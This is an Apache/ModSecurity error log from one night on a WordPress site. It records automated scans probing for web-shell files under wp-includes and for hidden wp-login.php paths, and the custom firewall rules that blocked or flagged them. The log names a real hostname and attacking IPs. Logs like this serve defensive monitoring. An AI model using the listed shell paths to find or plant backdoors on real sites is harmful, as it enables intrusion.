[Fri Nov 14 01:11:05.614874 2025] [:error] [pid 56496:tid 56533] [client 45.92.229.36:46797] [client 45.92.229.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aRYRKeh2ME7eucGJGGK1HgAAAAU"]
[Fri Nov 14 01:11:08.520953 2025] [:error] [pid 49246:tid 49273] [client 216.73.161.141:51753] [client 216.73.161.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/autoload_classmap.php"] [unique_id "aRYRLN-hdG_ZJBT6alPNgAAAAFc"]
[Fri Nov 14 01:11:15.931290 2025] [:error] [pid 56497:tid 56559] [client 45.92.229.12:40037] [client 45.92.229.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aRYRM3satOTNIa5GK3tThAAAAIQ"]
[Fri Nov 14 01:11:16.961294 2025] [:error] [pid 49246:tid 49269] [client 45.92.229.12:54843] [client 45.92.229.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/providers/zmFM.php"] [unique_id "aRYRNN-hdG_ZJBT6alPNkwAAAFM"]
[Fri Nov 14 01:11:18.773997 2025] [:error] [pid 56496:tid 56540] [client 45.92.229.20:50191] [client 45.92.229.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aRYRNuh2ME7eucGJGGK1LAAAAAw"]
[Fri Nov 14 01:11:26.216657 2025] [:error] [pid 56496:tid 56544] [client 45.92.229.26:53463] [client 45.92.229.26] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.92.229.26, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/cgi-bin/wp-login.php"] [unique_id "aRYRPuh2ME7eucGJGGK1PQAAABA"]
[Fri Nov 14 01:11:30.748788 2025] [:error] [pid 56496:tid 56542] [client 45.92.229.26:53463] [client 45.92.229.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sodium_compat/wp-login.php"] [unique_id "aRYRQuh2ME7eucGJGGK1SAAAAA4"]
[Fri Nov 14 01:11:31.866781 2025] [:error] [pid 56497:tid 56563] [client 216.73.161.158:42729] [client 216.73.161.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aRYRQ3satOTNIa5GK3tTmgAAAIg"]
[Fri Nov 14 01:11:50.026785 2025] [:error] [pid 49246:tid 49258] [client 45.92.229.27:48841] [client 45.92.229.27] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.92.229.27, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/wp-login.php"] [unique_id "aRYRVt-hdG_ZJBT6alPN4gAAAEg"]
[Fri Nov 14 01:11:52.112359 2025] [:error] [pid 49246:tid 49263] [client 45.92.229.27:48841] [client 45.92.229.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aRYRWN-hdG_ZJBT6alPN5gAAAE0"]
[Fri Nov 14 01:11:53.173006 2025] [:error] [pid 56496:tid 56534] [client 45.92.229.16:47207] [client 45.92.229.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/network.php"] [unique_id "aRYRWeh2ME7eucGJGGK1YwAAAAY"]
[Fri Nov 14 01:11:58.112921 2025] [:error] [pid 56496:tid 56548] [client 45.92.229.18:44111] [client 45.92.229.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/index.php"] [unique_id "aRYRXuh2ME7eucGJGGK1ZgAAABQ"]
[Fri Nov 14 01:12:10.638520 2025] [:error] [pid 56586:tid 56596] [client 45.92.229.17:39179] [client 45.92.229.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/php-compat/autoload_classmap.php"] [unique_id "aRYRaq7eYD3G9deYMP42cgAAAYU"]
[Fri Nov 14 01:12:30.707286 2025] [:error] [pid 56497:tid 56568] [client 45.92.229.28:38973] [client 45.92.229.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aRYRfnsatOTNIa5GK3tT_AAAAI0"]
[Fri Nov 14 01:12:36.684594 2025] [:error] [pid 56496:tid 56541] [client 216.73.161.157:21707] [client 216.73.161.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aRYRhOh2ME7eucGJGGK1rQAAAA0"]
[Fri Nov 14 01:12:46.150996 2025] [:error] [pid 56497:tid 56555] [client 216.73.161.143:26749] [client 216.73.161.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "aRYRjnsatOTNIa5GK3tUFwAAAIA"]
[Fri Nov 14 01:12:48.895864 2025] [:error] [pid 56586:tid 56591] [client 45.92.229.16:44633] [client 45.92.229.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aRYRkK7eYD3G9deYMP42twAAAYA"]
[Fri Nov 14 01:12:50.377790 2025] [:error] [pid 56496:tid 56550] [client 45.92.229.32:40601] [client 45.92.229.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aRYRkuh2ME7eucGJGGK1wwAAABY"]
[Fri Nov 14 01:12:53.628034 2025] [:error] [pid 56586:tid 56598] [client 45.92.229.34:55317] [client 45.92.229.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aRYRla7eYD3G9deYMP42wQAAAYc"]
[Fri Nov 14 01:12:55.212862 2025] [:error] [pid 56495:tid 56506] [client 45.92.229.21:50079] [client 45.92.229.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aRYRl1wO8wZZL5WJceW5VgAAAMc"]
[Fri Nov 14 01:12:59.391926 2025] [:error] [pid 56495:tid 56499] [client 216.73.161.149:50279] [client 216.73.161.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aRYRm1wO8wZZL5WJceW5XwAAAMA"]
[Fri Nov 14 01:13:05.210280 2025] [:error] [pid 56586:tid 56608] [client 216.73.161.143:58233] [client 216.73.161.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aRYRoa7eYD3G9deYMP42zgAAAZE"]
[Fri Nov 14 01:13:12.601689 2025] [:error] [pid 49246:tid 49263] [client 216.73.161.154:48459] [client 216.73.161.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aRYRqN-hdG_ZJBT6alPOoQAAAE0"]
[Fri Nov 14 01:13:16.309975 2025] [:error] [pid 56497:tid 56558] [client 45.92.229.29:59429] [client 45.92.229.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "aRYRrHsatOTNIa5GK3tUPAAAAIM"]
[Fri Nov 14 01:13:21.614883 2025] [proxy_fcgi:error] [pid 56586:tid 56605] [client 216.73.161.140:47757] AH01071: Got error 'Primary script unknown'
[Fri Nov 14 01:13:26.204309 2025] [:error] [pid 56586:tid 56607] [client 216.73.161.140:47757] [client 216.73.161.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/autoload_classmap.php"] [unique_id "aRYRtq7eYD3G9deYMP42_AAAAZA"]
[Fri Nov 14 01:13:54.515712 2025] [:error] [pid 56496:tid 56532] [client 45.92.229.38:65383] [client 45.92.229.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/autoload_classmap.php"] [unique_id "aRYR0uh2ME7eucGJGGK2KgAAAAQ"]
[Fri Nov 14 01:13:55.526162 2025] [:error] [pid 56496:tid 56529] [client 216.73.161.148:21559] [client 216.73.161.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aRYR0-h2ME7eucGJGGK2LAAAAAE"]
[Fri Nov 14 01:14:03.002806 2025] [:error] [pid 56495:tid 56518] [client 45.92.229.16:64349] [client 45.92.229.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/html-api/index.php"] [unique_id "aRYR21wO8wZZL5WJceW5vwAAANM"]
[Fri Nov 14 01:14:07.221707 2025] [:error] [pid 56495:tid 56509] [client 45.92.229.35:33589] [client 45.92.229.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aRYR31wO8wZZL5WJceW5xAAAAMo"]
[Fri Nov 14 01:14:10.380912 2025] [:error] [pid 56497:tid 56574] [client 216.73.161.139:50273] [client 216.73.161.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/wp-login.php"] [unique_id "aRYR4nsatOTNIa5GK3tUbQAAAJM"]
[Fri Nov 14 01:14:27.411113 2025] [:error] [pid 56495:tid 56504] [client 45.92.229.33:41925] [client 45.92.229.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aRYR81wO8wZZL5WJceW54AAAAMU"]
[Fri Nov 14 01:14:30.436684 2025] [:error] [pid 56496:tid 56529] [client 45.92.229.25:50851] [client 45.92.229.25] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.92.229.25, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aRYR9uh2ME7eucGJGGK2WgAAAAE"]
[Fri Nov 14 01:14:34.612367 2025] [:error] [pid 56496:tid 56537] [client 45.92.229.25:50851] [client 45.92.229.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aRYR-uh2ME7eucGJGGK2ZAAAAAk"]
[Fri Nov 14 01:14:35.577410 2025] [:error] [pid 56586:tid 56594] [client 216.73.161.153:22481] [client 216.73.161.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "aRYR-67eYD3G9deYMP43cwAAAYM"]
[Fri Nov 14 01:14:42.519259 2025] [:error] [pid 56586:tid 56602] [client 216.73.161.146:42011] [client 216.73.161.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/autoload_classmap.php"] [unique_id "aRYSAq7eYD3G9deYMP43gQAAAYs"]
[Fri Nov 14 01:14:45.396504 2025] [:error] [pid 56496:tid 56529] [client 216.73.161.141:40379] [client 216.73.161.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rk2.php"] [unique_id "aRYSBeh2ME7eucGJGGK2bwAAAAE"]
[Fri Nov 14 01:14:55.205868 2025] [proxy_fcgi:error] [pid 49246:tid 49265] [client 45.92.229.17:39325] AH01071: Got error 'Primary script unknown'
[Fri Nov 14 01:15:08.825936 2025] [proxy_fcgi:error] [pid 49246:tid 49261] [client 45.92.229.17:39325] AH01071: Got error 'Primary script unknown'
[Fri Nov 14 01:15:12.075040 2025] [:error] [pid 49246:tid 49264] [client 45.92.229.17:39325] [client 45.92.229.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/plugin.php"] [unique_id "aRYSIN-hdG_ZJBT6alPPdQAAAE4"]
[Fri Nov 14 01:15:21.526092 2025] [:error] [pid 49246:tid 49260] [client 216.73.161.153:40859] [client 216.73.161.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/wp-tinymce.php"] [unique_id "aRYSKd-hdG_ZJBT6alPPogAAAEo"]
[Fri Nov 14 01:15:30.488097 2025] [:error] [pid 56497:tid 56556] [client 216.73.161.145:34547] [client 216.73.161.145] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.73.161.145, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aRYSMnsatOTNIa5GK3tU5AAAAIE"]
[Fri Nov 14 01:15:30.492629 2025] [proxy_fcgi:error] [pid 56497:tid 56556] [client 216.73.161.145:34547] AH01071: Got error 'Primary script unknown'
[Fri Nov 14 01:15:43.579122 2025] [:error] [pid 56497:tid 56573] [client 216.73.161.145:34547] [client 216.73.161.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/mah.php"] [unique_id "aRYSP3satOTNIa5GK3tVBQAAAJI"]
[Fri Nov 14 01:15:44.761287 2025] [:error] [pid 56497:tid 56572] [client 216.73.161.151:62661] [client 216.73.161.151] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.73.161.151, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/sunrise/wp-login.php"] [unique_id "aRYSQHsatOTNIa5GK3tVCAAAAJE"]
[Fri Nov 14 01:15:47.132003 2025] [:error] [pid 56497:tid 56565] [client 216.73.161.151:62661] [client 216.73.161.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/lmfi.php"] [unique_id "aRYSQ3satOTNIa5GK3tVDgAAAIo"]
[Fri Nov 14 01:16:10.794945 2025] [proxy_fcgi:error] [pid 56586:tid 56603] [client 45.92.229.31:45661] AH01071: Got error 'Primary script unknown'
[Fri Nov 14 01:16:17.328995 2025] [:error] [pid 56586:tid 56603] [client 45.92.229.31:45661] [client 45.92.229.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "aRYSYa7eYD3G9deYMP44bQAAAYw"]
[Fri Nov 14 01:16:22.753104 2025] [:error] [pid 49246:tid 49264] [client 216.73.161.142:28683] [client 216.73.161.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aRYSZt-hdG_ZJBT6alPQOAAAAE4"]
[Fri Nov 14 01:16:26.211572 2025] [:error] [pid 56586:tid 56608] [client 45.92.229.26:41375] [client 45.92.229.26] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.92.229.26, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/light/wp-login.php"] [unique_id "aRYSaq7eYD3G9deYMP44fgAAAZE"]
[Fri Nov 14 01:16:42.902698 2025] [:error] [pid 56586:tid 56607] [client 45.92.229.26:41375] [client 45.92.229.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/button/index.php"] [unique_id "aRYSeq7eYD3G9deYMP44oQAAAZA"]
[Fri Nov 14 01:16:46.220406 2025] [:error] [pid 56586:tid 56613] [client 45.92.229.29:46943] [client 45.92.229.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/packed.php"] [unique_id "aRYSfq7eYD3G9deYMP44qAAAAZY"]
[Fri Nov 14 01:17:07.521859 2025] [:error] [pid 56496:tid 56535] [client 45.92.229.14:42505] [client 45.92.229.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/file.php"] [unique_id "aRYSk-h2ME7eucGJGGK3SQAAAAc"]
[Fri Nov 14 01:17:11.773032 2025] [:error] [pid 56495:tid 56504] [client 45.92.229.23:64841] [client 45.92.229.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "aRYSl1wO8wZZL5WJceW6zAAAAMU"]
[Fri Nov 14 01:17:15.007447 2025] [:error] [pid 56496:tid 56537] [client 45.92.229.31:57217] [client 45.92.229.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/Cache/about.php"] [unique_id "aRYSm-h2ME7eucGJGGK3WgAAAAk"]
[Fri Nov 14 01:17:24.324096 2025] [:error] [pid 49246:tid 49252] [client 45.92.229.16:32381] [client 45.92.229.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.92.229.16, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-content/languages/wp-login.php"] [unique_id "aRYSpN-hdG_ZJBT6alPQqQAAAEI"]
